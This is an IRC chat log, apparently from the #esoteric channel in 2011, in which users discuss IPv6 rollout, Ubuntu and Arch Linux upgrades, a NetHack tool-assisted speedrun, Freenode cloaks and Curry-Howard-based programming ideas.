14:00:33 <elliott> delhipublicschool40 chdjob!
14:00:48 <ais523> hmm, apparently Comcast have moved some of their customers to IPv4/IPv6 dual stack
14:00:50 <elliott> what would happen if some poor sap really wanted to find information about these things?!
14:01:01 <ais523> the Slashdot comments say it's because they ran out of space in 10/8
14:01:08 <elliott> ais523: aren't Comcast terrible in every other aspect, though?
14:01:24 <ais523> elliott: I think so
14:01:27 <fizzie> They did run out of space in 10/8 for their "control plane" network, and had to register public addresses for it.
14:01:32 <elliott> so, reddit has "joined" the Free Software Foundation, but I'm not sure what they mean
14:01:33 <elliott> oh, FSF associate
14:01:41 <fizzie> I also vaguely recall Comcast doing a largeish trial of 6rd.
14:01:49 <elliott> it feels odd
14:01:51 <ais523> running out of space in a class A for your own control network is pretty impressive
14:01:52 <elliott> even though reddit is mostly open
14:02:05 <kfr> Isn't reddit full of ads?
14:02:14 <Sgeo> Games are ads!
14:02:43 <ais523> ooh, I got an advert for a Windows registry scanner
14:02:50 <ais523> I'm tempted to actually click on it just to see what will happen
14:03:03 <ais523> my theory is that it'll load in Wine, and scan the Wine registry, if I do
14:03:10 <kfr> lol
14:03:10 <Sgeo> Ugh.
14:03:12 <elliott> [[By the way, your replies in this thread strongly suggest to me that you're trying to adjust your definition of "generalisation" to fit the responses, rather than taking them into account.]] <-- probability of them taking this seriously: 0
14:03:19 <Sgeo> I have to go to school, don't I?
14:03:19 <elliott> ais523: Erm, usually they don't actually scan the registry.
14:03:24 <fizzie> "This is a tremendous milestone for Comcast, cable operators, and the Internet community at large, and it is a critical milestone in our many years of work to prepare IPv6 to work seamlessly in a residential broadband Internet network. Each user has been delegated a /64 block of [--]."
14:03:25 <elliott> ais523: I would hide the Z: drive first. :p
14:03:27 <elliott> Maybe a chroot.
14:03:37 <elliott> fizzie: BROUGHT TO YOU BY WOLFRAM RESEARCH
14:03:41 <ais523> yep, I'm unlikely to actually /do/ it
14:03:49 <ais523> I might also make a user for the purpose
14:04:03 <fizzie> Blah blah your "tremendous milestone for -- the Internet community at large"; there's a whole pile of ISPs that have been doing that for who knows how long.
14:04:13 <elliott> fizzie: lol, not in the US
14:04:22 <ais523> when I run closed-source Windows programs that I suspect are either a) potentially malware, or b) have ridiculous DRM, I use a separate user without write access to anywhere but /tmp, /var/tmp, and its own home dir
14:04:26 <elliott> even in the UK, it's non-trivial to find an IPv6 ISP
14:04:30 <elliott> they're all small
14:04:38 <fizzie> They're not smaller than the Comcast trial. :p
14:04:45 <elliott> Well, tru.
14:04:50 <fizzie> "On January 11th, 2011, our first 25 IPv6-enabled users came online in the Littleton, Colorado area."
14:05:03 <fizzie> (Okay, so they've expanded now to an unspecified, larger number, but still.)
14:05:05 <ais523> btw, MPLAB C30 definitely counts as ridiculous DRM
14:05:06 <elliott> Not even BE have IPv6, which is kind of annoying.
14:05:10 <ais523> mostly because it's GPLed
14:05:13 <Sgeo> http://my.opera.com/chooseopera/blog/2011/02/02/egypt-is-back-online-2
14:05:13 <elliott> ais523: all DRM counts as ridiculous DRM
14:05:20 <ais523> so patching the DRM out was surprisingly simple
14:05:38 <elliott> ais523: hmm, theory: GPLv4 will prohibit obfuscating the source
14:05:44 <elliott> so that DRM is always easy to remove
14:05:45 <ais523> elliott: GPLv2 did that
14:05:50 <elliott> ais523: really? :D
14:06:07 <ais523> yep, their definition of source excludes obfuscated source
14:06:18 <Sgeo> elliott, so idiots won't be allowed to program anymore?
14:06:36 <elliott> ais523: OK, new theory, taking into account the fact that the GPL is already crazy: GPLv4 will prohibit writing unreadable code
14:06:39 * Sgeo needs to go put clothing on and go to school
14:06:47 <elliott> GPLv5, then, will mandate the GNU coding standards be used, and that the code is eminently readable
14:07:02 <fizzie> GPLv6 will specify which fonts you are allowed to use when editing the code.
14:07:07 <elliott> GPLv6 will just be a requirement to hand your project over to the FSF>
14:07:07 <ais523> hmm... Ubuntu wants to upgrade the kernel from 2.6.32.28.31 to 2.6.32.28.32
14:07:13 <ais523> apparently as a security update
14:07:25 <kfr> Nice, that kernel is from like 2009
14:07:27 <kfr> Pretty recent
14:07:29 <ais523> that's the most minor version number bump I've ever seen for that sort of update
14:07:30 * elliott doesn't even see his updates
14:07:35 <elliott> they just go automatically
14:07:43 <Sgeo> The duck go.
14:07:45 <elliott> ais523: that sounds like a local patch version
14:07:51 <elliott> I don't think kernel.org kernels come in such versions
14:07:55 <kfr> My router is still running .33 but it's been running for quite a while now so it's excusable
14:07:55 <fizzie> 2.6.32.28 was released in 2011-01-07.
14:08:00 <fizzie> That's not exactly "like 2009".
14:08:13 <Sgeo> *The pig go
14:08:14 <Sgeo> Dammit
14:08:15 <ais523> kfr: well, I reboot every time I go home or to work
14:08:15 <elliott> "Not all updates can be installed" uh oh
14:08:19 <ais523> because it's fast enough anyway
14:08:33 <elliott> I need strong AI in my IRC client.
14:08:39 <fizzie> And the fifth number is Ubuntu-specific there.
14:08:53 <elliott> wait, is there a new major Ubuntu release?
14:08:57 <ais523> elliott: normally that's because two or more clash, and is relatively common in -proposed versions of Ubuntu, at least
14:08:59 <elliott> no
14:09:05 <elliott> so why is it showing me the distribution upgrade screen?
14:09:06 <ais523> and no, those happen in April and October
14:09:18 <ais523> elliott: because the distribution updater is the only one that knows how to handle that sort of clash
14:09:22 <elliott> oops
14:09:23 <ais523> the regular one can't
14:09:24 <elliott> i just cancelled it
14:09:27 <elliott> and now the regular one pops up
14:09:31 <elliott> how do i get it back :D
14:09:44 <ais523> sudo aptitude dist-upgrade from the terminal
14:09:51 <ais523> I'm not sure what the synaptic equivalent is
14:09:55 <elliott> ais523: ouch!
14:09:57 <elliott> dist-upgrade is NOT the same
14:10:10 <elliott> well
14:10:14 <elliott> full-upgrade
14:10:14 <elliott> Upgrades installed packages to their most recent version, removing
14:10:14 <elliott> or installing packages as necessary. This command is less
14:10:14 <elliott> conservative than safe-upgrade and thus more likely to perform
14:10:14 <elliott> unwanted actions. However, it is capable of upgrading packages that
14:10:15 <elliott> safe-upgrade cannot upgrade.
14:10:18 <elliott> (it isn't actually called dist-upgrade)
14:10:26 <ais523> OK, it was renamed slightly
14:10:55 <elliott> aha
14:10:57 <elliott> update-manager --dist-upgrade
14:10:58 <elliott> I think
14:11:08 <elliott> yep
14:11:20 <kfr> Isn't it easier to use a rolling release distro? I always found this whole staged distro stuff somewhat irritating
14:11:38 <elliott> hmm, it wants to install ttf-droid
14:11:57 <elliott> i should really finish up kitten
14:12:00 <ais523> kfr: it depends on what you want to do; staged lets you control when your system is most likely to randomly break, which helps if you're using it for something important
14:12:00 <elliott> to avoid this ubuntu mayhem
14:12:11 <elliott> wait, what did kfr say?
14:12:39 <ais523> elliott: he or she asked why people would use a staged distro over a rolling release distro
14:12:43 <kfr> but I used Debian for quite a while
14:13:08 <elliott> because staged distros are often less hassle to manage, obviously... a rolling release distro with someone sane and conservative enough in charge works fine
14:13:27 <elliott> but e.g. Arch is run by crackheaded monkeys running off the cliff of stability into a gigantic pit of lava marked "THE FUTURE"
14:13:43 <kfr> I use Arch on my servers, the router and the notebook :D
14:14:00 <kfr> I run yes | pacman -Syu in a daily cronjob
14:14:03 <kfr> My good luck charm
14:14:55 <kfr> (it repeatedly broke stuff with PostgreSQL and Apache)
14:15:02 <kfr> (sites were down for days until I noticed that)
14:15:13 <elliott> of course what everyone should use is Kitten.
14:15:32 <elliott> because it's the only Linux distro that manages to say with its very existence, "get off my lawn"
14:15:32 <kfr> What is Kitten?
14:15:40 <kfr> Oh I have never heard of it before
14:15:44 <ais523> elliott's vaporware Linux distro
14:15:44 <kfr> I shall google it
14:15:49 <kfr> Vaporware? :D
14:15:51 <elliott> ais523: not vapourware, just too-busy-for-it-ware
14:15:52 <ais523> googling it probably wouldn't work very well
14:16:07 <kfr> http://kittenlinux.com/index.shtml
14:16:11 <kfr> The same?
14:16:22 <elliott> ais523: I could assemble a system that I'd call "Kitten" right now, but I'd prefer to get a package manager going first
14:16:30 <elliott> it's kind of nice to have
14:16:32 <elliott> sometimes :P
14:16:37 <ais523> elliott: according to kfr's link, you probably have a naming clash
14:16:42 <ais523> because I'm pretty sure you don't own kittenlinux.com
14:16:43 <kfr> Oh.
14:16:54 <elliott> what, they stole my fucking logo
14:16:56 <elliott> almost
14:17:08 <elliott> well...who cares about some Fedora user :D
14:17:23 <elliott> ais523: I'm sure I can usurp it, since when is first-come first-serve a reasonable policy?
14:17:28 <elliott> KITTEN LINUX EHIRD KITTEN LINUX EHIRD KITTEN LINUX EHIRD KITTEN LINUX EHIRD KITTEN LINUX EHIRD KITTEN LINUX EHIRD KITTEN LINUX EHIRD KITTEN LINUX EHIRD KITTEN LINUX EHIRD KITTEN LINUX EHIRD
14:17:53 <elliott> ais523: also, it's just as vapourware as mine, except it has a vaguely self-congratulatory website with way too many italics
14:17:54 <elliott> so bah
14:18:08 <elliott> at least, all it has is the top google spot; the rest of the results are false positives
14:18:16 <elliott> well, apart from: 8 Dec 2008 ... Kitten is based on Linux in part, but makes different design choices that are targeted at scalability (low noise, deterministic behavior) ...
14:18:23 -!- cheater- has quit (Ping timeout: 240 seconds).
14:18:25 <elliott> but that's hardly relevant: https://software.sandia.gov/trac/kitten
14:18:36 <elliott> ais523: btw, i never consciously named it Kitten
14:18:49 <elliott> I had some name ideas, but called it Kitten as a joke until I decided on one, and then I forgot them
14:18:49 <ais523> the name just happened?
14:18:55 <elliott> so it just kept being called Kitten
14:19:09 <elliott> ais523: it was originally a joke a la "and a pony!"
14:19:14 <ais523> ah
14:20:58 -!- cheater- has joined.
14:21:08 -!- asiekierka has quit (Read error: Operation timed out).
14:21:28 -!- impomatic has joined.
14:21:32 <impomatic> Hi :-)
14:21:35 -!- BeholdMyGlory has joined.
14:21:55 <ais523> hi impomatic
14:24:10 <cheater-> ais523: you need to make a patch that does undo!
14:24:11 <cheater-> :D
14:24:36 <kfr> Today I met somebody in ##asm who had written an assembler in Prolog, I was very impressed by that
14:24:49 <ais523> cheater-: err, wrong channel?
14:24:51 <kfr> I still haven't really tried Prolog but I'm told it's very interesting
14:24:57 <kfr> Food for thought
14:25:01 <cheater-> ais523: i don't want to talk there :)
14:25:03 <ais523> (we're both in both #esoteric and #nethack, and your comment would make sense in #nethack but not #esoteric)
14:25:15 <cheater-> ais523: yes! it's for secrecy
14:25:29 <ais523> oh, you don't want to admit you're a savescummer?
14:25:39 <elliott> ais523: :troll-feeding:
14:25:50 <elliott> everything can be expressed with a fake emoticon name; that's my theory of life
14:25:52 <ais523> elliott: meh, it can be amusing sometimes
14:26:03 <elliott> ais523: well, ok, but very annoying for everyone else
14:26:11 <ais523> especially in #esoteric, isn't our typical response to trolls to countertroll them until they give up?
14:26:24 <cheater-> ais523: why are you refering to me as a troll?
14:26:29 <ais523> also, I can't figure out if it's cheater- trolling, or me
14:26:33 <ais523> cheater-: I'm not, I'm responding to elliott
14:26:49 <cheater-> ais523: elliott is an idiot. never mind him.
14:26:56 <elliott> well, cheater- is either very idiotic or a troll, but it's irrelevant because what he does is the same
14:27:14 <cheater-> iddiott: sorry, i reserved the idiot insult first!
14:28:59 <cheater-> ais523: returning to what we were talking about before we were so rudely interrupted, an undo feature would be fun to learn the different outcomes from a single situation
14:29:08 <cheater-> and for newbies definitely a fun way to play the game
14:29:26 <ais523> arguably, wizmode is more useful in the first case
14:29:49 <ais523> and NetHack tends to be kind-of unsatisfactory with savescumming, especially to a new player
14:30:00 <ais523> it's not as bad when you're experienced and know the sort of things it would be interesting to test
14:30:04 <cheater-> yes, but wizard mode gives you abilities beyond what you normally would be able to do
14:30:09 <ais523> that's the point?
14:30:10 <cheater-> therefore it's not as useful for learning
14:30:19 <ais523> it lets you set the situations you want to test up
14:30:24 <ais523> rather than have to have them happen naturally
14:30:24 <cheater-> because when learning you want to be confronted with situations that normally come up
14:30:30 <ais523> and no, you don't
14:30:32 <elliott> savescumming to learning?
14:30:33 <cheater-> i want them to happen naturally
14:30:34 <elliott> *learn?
14:30:36 <elliott> sheesh
14:30:50 <ais523> you want to use wizmode precisely to test things that only come up once in a blue moon
14:30:50 <elliott> that's a great way to become someone who gives up every time they die, i guess
14:31:04 <ais523> because the stuff that comes up all the time comes up all the time, so you learn it quickly enough
14:31:07 <cheater-> ais523: yes. i want to use undo to test things that come up naturally.
14:31:14 <cheater-> ais523: not quickly enough for me
14:31:36 <ais523> hmm, I think NetHack is possibly the wrong game for you
14:32:03 -!- Behold has joined.
14:32:08 <elliott> hey guys, i want to learn dwarf fortress
14:32:09 <elliott> except
14:32:11 <cheater-> ais523: i think you're trying to patronize me by following the general beaten path way of playing nethack as opposed to being creative and finding fun new ways to enjoy it.
14:32:12 <elliott> i want to be able to go back in time
14:32:15 <elliott> so that whenever i fuck up
14:32:20 <elliott> i don't have to lose my precious fortress
14:32:29 <elliott> can |_| plz hax0r it 4 me ais523?
14:32:35 <elliott> ;;))
14:33:01 <ais523> elliott: as Dwarf Fortress is a sandbox game in a way, I can see more reason to savescum it than I can to savescum NetHack
14:33:14 <ais523> NetHack's a sandbox game in wizmode too, but it doesn't make for a very /good/ sandbox game
14:33:18 <elliott> ais523: http://df.magmawiki.com/index.php/DF2010:Fun
14:33:21 <elliott> (redirect to http://df.magmawiki.com/index.php/DF2010:Losing)
14:33:27 <elliott> [[Losing is fun!
14:33:27 <elliott> Either way, it keeps you busy.
14:33:27 <elliott> There is no internal end point, single goal, final Easter egg or "You Win!" announcement in Dwarf Fortress. Therefore, eventually, almost every fortress will fall. The only ones that don't tend to be very conservative and very boring—and what fun is that? Therefore, DF = losing /\ DF = fun => losing = fun, and that's okay! It's a game philosophy, so embrace it, own it, and have fun with it!
14:33:29 <elliott> Most new players will lose their first few forts sooner rather than later; when you lose a fortress, don't feel like you don't understand the game. Dwarf Fortress has a steep learning curve, and part of the process (and fun!) is discovering things for yourself. However, this Wiki serves as an excellent place to speed up the learning process.
14:33:32 <cheater-> ais523: is it so unimaginable to play nethack in a way that it's not played normally?
14:33:33 <elliott> If you lose, you can always reclaim fortress or go visit it in adventurer mode.
14:33:35 <elliott> If you're looking for more ways to test yourself, try either the mega construction or the Challenges articles.]]
14:33:38 <elliott> ais523: if Dwarf Fortress didn't have losing, it wouldn't be a game
14:33:54 <elliott> (Minecraft is a game on a technicality -- you can die by being killed, which counts as losing)
14:33:59 -!- BeholdMyGlory has quit (Ping timeout: 264 seconds).
14:34:00 <kfr> You can't lose in WoW
14:34:04 <ais523> cheater-: http://www.youtube.com/watch?v=g-1hk-whXJI
14:34:26 <ais523> (sorry, that's close to the perfect comeback but I had to look up the link)
14:34:49 <elliott> ais523: oh, you guys actually released the TAS?
14:34:53 <ais523> elliott: no
14:34:53 <elliott> or is the project still ongoing?
14:34:56 <ais523> still ongoing
14:35:00 <ais523> that's just the start
14:35:05 <elliott> what the fuck is happening :D
14:35:07 <elliott> I like how you're called F
14:35:32 <elliott> ais523: please get hallu at some point
14:35:34 <elliott> or wait, are you?
14:35:40 <cheater-> ais523: say what?
14:35:44 <ais523> hallu would cause a desync the way we're doing things
14:35:50 <ais523> cheater-: <cheater-> ais523: is it so unimaginable to play nethack in a way that it's not played normally?
14:36:10 <ais523> put it this way, if you're going to savescum, you want to do it /properly/
14:36:15 <elliott> cheater-: you could always code your own cheating code rather than telling ais523 to do something he obviously isn't going to do
14:36:28 <elliott> that would also have the side-effect of not polluting #esoteric with lines both idiotic and offtopic
14:36:29 <cheater-> iddiott: you could always just /ignore me
14:36:35 <elliott> (that's _my_ job)
14:37:14 <ais523> <elliott> what the fuck is happening :D <-- http://gitorious.org/nethack-tas-tools/mainline/blobs/raw/master/turnbyturn.txt
14:37:25 <ais523> that's over ten thousand words now, and I felt the need to write it just to explain what was happening
14:37:27 <elliott> ais523: you think that will answer my question?
14:37:37 <elliott> ais523: I'm not a very good NetHack player :)
14:37:46 <ais523> elliott: it's designed to be understood by people who don't know about NetHack much
14:37:54 <ais523> it's that long partly because it explains all the relevant mechanics
14:37:55 <elliott> ais523: will you do another TAS on the most favourable day?
14:38:17 <ais523> admittedly, most of the relevant mechanics are ones that never come up in "real" games, so I need to explain them to veterans too
14:38:24 <ais523> and no, because it would look basically the same
14:38:48 <elliott> aww
14:39:12 <elliott> it turns out that there have been
14:39:12 <elliott> none at all since the release of NetHack 3.4.3,
14:39:17 <elliott> ais523: can you not play a release on a day before it was released?
14:39:17 <elliott> heh
14:39:28 <ais523> elliott: obviously not, that would be unrealistic!
14:39:36 <elliott> ah. unlike minecraft!
14:39:38 <elliott> erm
14:39:40 <elliott> ah. unlike nethack!
14:39:43 <ais523> (I tend to take the "theoretically possible" bit rather pedantically)
14:39:52 <elliott> oh, so the game doesn't actually stop you :)
14:39:57 <elliott> ais523: it's theoretically possible to set your clock back!
14:40:11 <ais523> well, yes
14:40:19 <ais523> but that would be illegally modified hardware
14:40:28 <ais523> (well, probably not, I'm just being excessively pedantic)
14:40:36 <ais523> (and there's no reason /not/ to pick a date after the release of 3.4.3)
14:40:51 <cheater-> it would be theoretically possible to be someone who has left earth at light speed and used the twin effect to result in them being in the most favourable day
14:41:20 <ais523> I did something similar in the Pokémon World Championships, using a more difficult method to control the RNG to produce perfect Pokémon just in order to leave them with possible timestamps
14:41:28 <ais523> in fact, I left the timestamp as close to the actual time as I could
14:41:39 <ais523> but I made sure it was neither before I bought the game, nor in the future
14:42:29 <elliott> haha
14:42:51 <elliott> "Amusingly, this dependence on the moon phase can
14:42:51 <elliott> cause desyncs on occasion; this is likely the only TAS that will have
14:42:51 <elliott> been desynced by running a script on a full moon by mistake."
14:42:51 <elliott> :D
14:42:55 <elliott> i want to make a roguelike now
14:43:02 <elliott> and devote 20 pages to the RNG
14:43:13 <ais523> this might theoretically have practical advantages, in that I was vaguely expecting them to ban Pokémon caught with impossible dates in order to exclude the majority of RNG controllers in a way that wasn't clearly impossible to enforce
14:43:25 <elliott> which will take into account the phase of the moon, the stock market (using the Internet) and its difference from predictions of the stock market,
14:43:37 <ais523> heh
14:43:38 <elliott> the day on which Easter falls in that year, ...
14:43:51 <elliott> <ais523> this might theoretically have practical advantages, in that I was vaguely expecting them to ban Pokémon caught with impossible dates in order to exclude the majority of RNG controllers in a way that wasn't clearly impossible to enforce
14:43:52 <ais523> I translated an Easter-finding algorithm from Algol-68 into C once
14:43:56 <ais523> so that I could actually run it
14:43:59 <elliott> hmm, you cheated in a way people didn't want you to? :)
14:44:00 <elliott> how un-ais523
14:44:05 <ais523> elliott: it was completely legal
14:44:14 <elliott> well, yes, just against the spirit
14:44:23 <ais523> someone actually asked the people in charge of the tournament, and said that they didn't like it but couldn't think up a way to ban it, so it was legal
14:44:54 * elliott decides ais523 is Lawful Neutral
14:45:01 <elliott> in a really insidious way
14:45:15 <elliott> (OK, Lawful isn't referring to following the letter strictly)
14:45:37 <ais523> elliott: normally I wouldn't act like that, but it was a world championship qualifier
14:45:40 <ais523> so I'm going to do the best I can within the rules
14:46:05 <elliott> "This means that there's a hard
14:46:05 <elliott> limit of 46 minutes 58 seconds for the run, because at 1am, the game
14:46:05 <elliott> would become slightly less difficult as undead damage reverted to
14:46:05 <elliott> normal, so we would no longer be playing at highest difficulty."
14:46:06 <elliott> :D
14:46:09 <elliott> you're crazy
14:46:12 <tswett> elliott: yep.
14:46:18 <tswett> I agree with that thing you said earlier.
14:46:24 <elliott> tswett: WELL I DON'T
14:46:55 -!- Vonlebio_ has joined.
14:47:19 <elliott> a _gnome+? :D
14:47:22 <elliott> *_gnome_
14:47:38 <tswett> Well, then, I don't agree with it either.
14:47:47 <elliott> wow, that's a good starting inventory, ais523
14:52:20 -!- Sgeo has quit (Ping timeout: 240 seconds).
14:57:52 -!- poiuy_qwert has joined.
15:02:06 -!- poiuy_qwert has quit (Client Quit).
15:04:32 <Vonlebio_> elliott: what?
15:04:40 <elliott> Vonlebio_: ...what?
15:04:44 <Vonlebio_> Argh, comma pings.
15:04:53 <Vonlebio_> Why are you going on about gnomes?
15:05:05 <elliott> Why... do you have gnome... on ping.
15:05:11 <elliott> Vonlebio_: See logs.
15:06:05 -!- copumpkin has quit (Quit: Computer has gone to sleep.).
15:06:06 <Vonlebio_> Waitwhat
15:07:19 <Vonlebio_> elliott: no mention that lets that make sense in today's logs.
15:07:26 <elliott> The .txt.
15:10:30 <Vonlebio_> Ah, right.
15:19:28 <elliott> Vonlebio_: -minecraft
15:22:19 -!- Mathnerd314 has joined.
15:23:11 <Ilari> ~47 minute time limit vs. one WIP (apparently almost the latest I found) being 25 seconds long... I'll check what the final turn number is...
15:25:49 -!- ais523 has quit (Ping timeout: 246 seconds).
15:27:57 <elliott> Ilari: http://www.youtube.com/watch?v=g-1hk-whXJI is rather longer than 20 seconds
15:30:47 <Ilari> elliott: I found a input movie file dated 2011-01-09. According to emulator's computation of length, it is 24997ms long (rounded down)...
15:31:58 <Ilari> I don't know how up to date it is (I'm checking that now).
15:34:55 -!- elliott has quit (Ping timeout: 240 seconds).
15:35:30 -!- copumpkin has joined.
15:37:18 <Vonlebio_> Conclusion: elliott == copumpkin.
15:37:45 <copumpkin> ?
15:38:11 <kfr> [ Quit ] elliott (~elliott@unaffiliated/elliott): Ping timeout: 240 seconds
15:38:11 <kfr> [ Join ] copumpkin (~pumpkin@unaffiliated/pumpkingod)
15:38:23 <copumpkin> omg
15:38:26 <copumpkin> you're right
15:45:27 -!- asiekierka has joined.
15:47:03 -!- ais523 has joined.
15:48:33 <quintopia> how does one get an unaffiliated hostname?
15:48:43 <ais523> quintopia: by asking in #freenode
15:49:05 <ais523> just go there, identify to nickserv if you haven't already, and ask for an unaffilated cloak
15:49:11 <ais523> and wait for one of the Freenode staff to notice
15:49:11 <quintopia> they just hand them out?
15:49:13 <ais523> yep
15:49:13 <quintopia> nifty
15:49:47 <quintopia> so why do they do that instead of traditional hash cloaking?
15:51:05 <ais523> I'm not sure
15:51:12 <ais523> perhaps in case someone bruteforces the hash
15:51:23 <ais523> no matter how secure the hash, that would be pretty easy due to the limited space in IPv4
15:51:36 -!- elliott has joined.
15:51:44 <quintopia> aha
15:51:46 <ais523> not to mention, dynamic IPs would hash to completely different strings, thus defeating the point
15:52:33 -!- Sgeo has joined.
15:53:07 -!- nddrylliog has joined.
15:53:07 <elliott> ais523: hmm, autopickup doesn't waste a turn?
15:53:10 <elliott> that seems like a bug to me
15:53:23 <nddrylliog> ohai!
15:53:29 <ais523> it makes the game go better
15:53:30 <quintopia> ais523: wouldn't that actually make you more secure?
15:53:30 <ais523> hi nddrylliog
15:53:38 <ais523> quintopia: well, there's a balance
15:53:44 <ais523> why does it show that part of the name anyway?
15:53:48 <ais523> it's so you can ban trolls
15:53:51 <elliott> ais523: well, then pickups should take 0 turns
15:53:58 <ais523> elliott: I've been wondering about it
15:54:17 <ais523> here's another fun one: while blind, : takes 1 turn, m, takes 0 turns if you cancel it and gives basically the same information
15:54:18 <quintopia> ais523: trolls aren't asking for unaffiliated cloaks. and they already benefit from dynamic IP allocation :P
15:54:28 <nddrylliog> elliott, I've done 1 year worth of research in two days
15:54:32 <ais523> quintopia: well, dynamic IPs tend to stay within the same block
15:54:40 <ais523> nddrylliog: that's entirely possible
15:54:46 <elliott> nddrylliog: wat
15:54:50 <ais523> were they the first 2 days of the year? or the last 2?
15:55:19 <nddrylliog> nope, I just have extra wikipedia+paper-reading skillz
15:55:26 <Ilari> 0.05 from APNIC today.
15:55:56 <nddrylliog> I have the feeling that the Curry-Howard correspondence has been *way* under-exploited
15:56:36 <elliott> nddrylliog: it really hasn't :)
15:56:41 <elliott> Coq and Agda use it to fullest effect
15:56:56 <elliott> nddrylliog: you'd like j-invariant. if e was still here.
15:56:56 <copumpkin> mmm
15:57:01 <ais523> Ilari: is that, that APNIC allocated 5% of a /8 today?
15:57:05 <nddrylliog> yeah.. two, maybe three languages. that's not what I call properly exploited
15:57:07 <copumpkin> elliott: he still posts on reddit
15:57:31 <elliott> copumpkin: hm. last time he got banned from here, he left the internet entirely for months.
15:57:32 <nddrylliog> seriously, there are only a handful of teams that work on it. that's insane
15:57:37 <copumpkin> nddrylliog: I've exploited it in haskell too
15:57:40 <copumpkin> :P
15:57:43 <copumpkin> elliott: he got banned in here?
15:57:47 <ais523> elliott: why did he get banned?
15:57:48 <copumpkin> I thought he just left cause I'm a twat
15:57:52 <elliott> nddrylliog: but the teams are really big
15:58:06 <elliott> ais523: j-invariant = soupdragon = fax = MissPiggy = quantumEd = infinite number of nicknames
15:58:08 <elliott> = faxathisia
15:58:12 <elliott> copumpkin: e got banned /months/ ago in 2010
15:58:16 <copumpkin> don't forget vixey
15:58:17 <elliott> copumpkin: and then came back recently
15:58:30 <ais523> elliott: was the huge number of nicks against some rule? if not, you didn't answer my question
15:58:32 <copumpkin> j-invariant was the first one I've come across that actually used a new nickserv
15:58:39 <elliott> ais523: for spamming "FUCK YOU" in-channel
15:58:41 <Ilari> 0.05x/8 that is... So 5%...
15:58:44 <ais523> elliott: ah
15:58:49 <nddrylliog> copumpkin, what did you do in haskell regarding curry-howard ?
15:58:55 <ais523> Ilari: it's not going to last more than a couple of months at that rate
15:59:00 <elliott> ais523: after Vonlebio_ (Phantom_Hoover) said "You fail at Life", where life there means the /Game/ of Life
15:59:20 <elliott> it was more a straw-camel-back type situation though, e'd been going a bit crazy before that
15:59:31 <Ilari> 3.16x/8 left before phase 3...
15:59:33 <copumpkin> nddrylliog: I did some trivial "proofs" (you have to trust that I didn't put any bottoms in) of properties of the naturals
16:00:08 <nddrylliog> copumpkin, I see. Well proofs are fancy and all but I'm more interested in carrying computations from proofs than the other way around
16:00:11 <elliott> haskell as a theorem prover
16:00:13 <elliott> xD
16:00:20 <elliott> nddrylliog: that doesn't really happen
16:00:26 <elliott> proofs are usually erased at compilation time
16:00:32 <elliott> I don't think you could get much useful computation out of them
16:00:40 <elliott> or if you can, it's likely that they're actually more functions than proofs
16:00:44 <elliott> just, they happen to prove something too
16:01:17 <Vonlebio_> nddrylliog: does that even make sense?
16:01:28 <nddrylliog> elliott, well my thinking is that if you 1) express properties 2) hint on how to develop algorithms the compiler should be able to do wonders. But I still have to prove that (with, like, a proof-of-concept, not a proof)
16:01:35 <copumpkin> well
16:01:42 <copumpkin> I sort of agree with nddrylliog
16:01:42 <nddrylliog> Vonlebio_, I'm not sure, apparently I'll find out in 9 years
16:01:45 <Vonlebio_> Proofs in a Curry-Howard setup tend to just be some function whose final result is a proposition.
16:01:45 <elliott> nddrylliog: uh huh :)
16:01:51 <elliott> nddrylliog: well yes I kind of agree
16:01:55 <elliott> nddrylliog: but
16:02:08 <nddrylliog> I'll call my language "kindof"
16:02:13 <nddrylliog> so, does "kindof" works?
16:02:15 <copumpkin> the more invariants you can specify in your inductive types (à la GADT) the easier it is to prove properties about your programs, without writing explicit proofs for most of it, because your algorithms are carrying proofs with them
16:02:17 <elliott> nddrylliog: the way you talk reminds me more of the overly-optimistic side of visionary :P
16:02:23 <copumpkin> a bit like conor's sort algorithm in epigram
16:02:34 <copumpkin> that provably sorts the list, but has no real proof in it
16:02:51 <nddrylliog> well the really optimistic way would be to forget about the "hint" part
16:03:16 <nddrylliog> the whole challenge is how to express hints that aren't too overly-verbose (otherwise you could just as well go imperative and be done with it) nor too hard on the compiler / too implicit
16:03:30 <nddrylliog> and I'm only using "compiler" because I have no better term right now and that "proof assistant" gives me chills
16:04:12 <Vonlebio_> nddrylliog: why are you interested in this stuff?
16:05:04 <nddrylliog> Vonlebio_, well, I've already exhausted the whole Java/C++/C#/whatever object-oriented fraud there is universe by re-implementing mine and being unhappy with it as well. So I'm trying something new
16:05:25 <elliott> Finally, some option values were chosen
16:05:25 <elliott> in order to make the game look visually better and to remove
16:05:25 <elliott> timeconsuming animations:
16:05:29 <elliott> ais523: visuals? setting that option takes time!!!
16:06:00 <elliott> nddrylliog: you should get interested in ursala! instant guaranteed obscurity
16:06:06 <Vonlebio_> nddrylliog: my brain cannot cope with that statement.
16:06:26 <nddrylliog> Vonlebio_, would you like me to rewrite it to normal form?
16:06:29 <elliott> https://github.com/nddrylliog/fe2/blob/master/array-second.fe2 I demand royalties, nddrylliog.
16:06:33 <nddrylliog> elliott, is there *any* kind of doc?
16:06:33 <elliott> I demand endless fucking royalties.
16:06:35 <Vonlebio_> nddrylliog: yes.
16:06:44 <nddrylliog> elliott, I'll give you candy
16:06:44 <elliott> nddrylliog: there's a whole book-manual
16:06:49 <elliott> nddrylliog: http://www.basis.netii.net/ursala/manual.pdf
16:06:53 <elliott> prepare for insanity!
16:07:00 <elliott> ais523 is our resident Ursala know-it-all* fan*
16:07:03 <elliott> *know-it-nothing
16:07:04 <elliott> *not fan
16:07:19 <nddrylliog> elliott, 2.6Mb? are you trying to make my mobile subscription explode?
16:07:38 <elliott> nddrylliog: you're in Switzerland, surely you are rich!
16:07:58 <elliott> <nddrylliog> YOUR ARGUMENT IS INFALLIBLE
16:08:03 <nddrylliog> elliott, I'm also in a train.
16:08:07 <quintopia> they seem to be completely ignoring my request >_>
16:08:11 <Vonlebio_> nddrylliog: what's .ooc?
16:08:21 <elliott> Vonlebio_: http://ooc-lang.org/
16:08:24 <elliott> nddrylliog's regret.
16:08:25 <nddrylliog> Vonlebio_, I'd rather not talk about it
16:08:26 <ais523> here, can anyone here think of a remotely sane way of automatically testing Linux kernel-mode keyloggers?
16:08:29 <elliott> quintopia: ?
16:08:30 <nddrylliog> Vonlebio_, go ask on #ooc-lang
16:08:45 <elliott> ais523: give it to someone evil, wait to see if security advisories trickle in
16:08:59 <elliott> nddrylliog: omg i want to troll them
16:09:07 <elliott> nddrylliog: "so hey, this nddrylliog guy says ooc sucks, is he right?"
16:09:08 <ais523> err, assume I have a great number of them, most of which will probably lock up the kernel
16:09:10 <elliott> can i troll them
16:09:14 <nddrylliog> elliott, haha, try
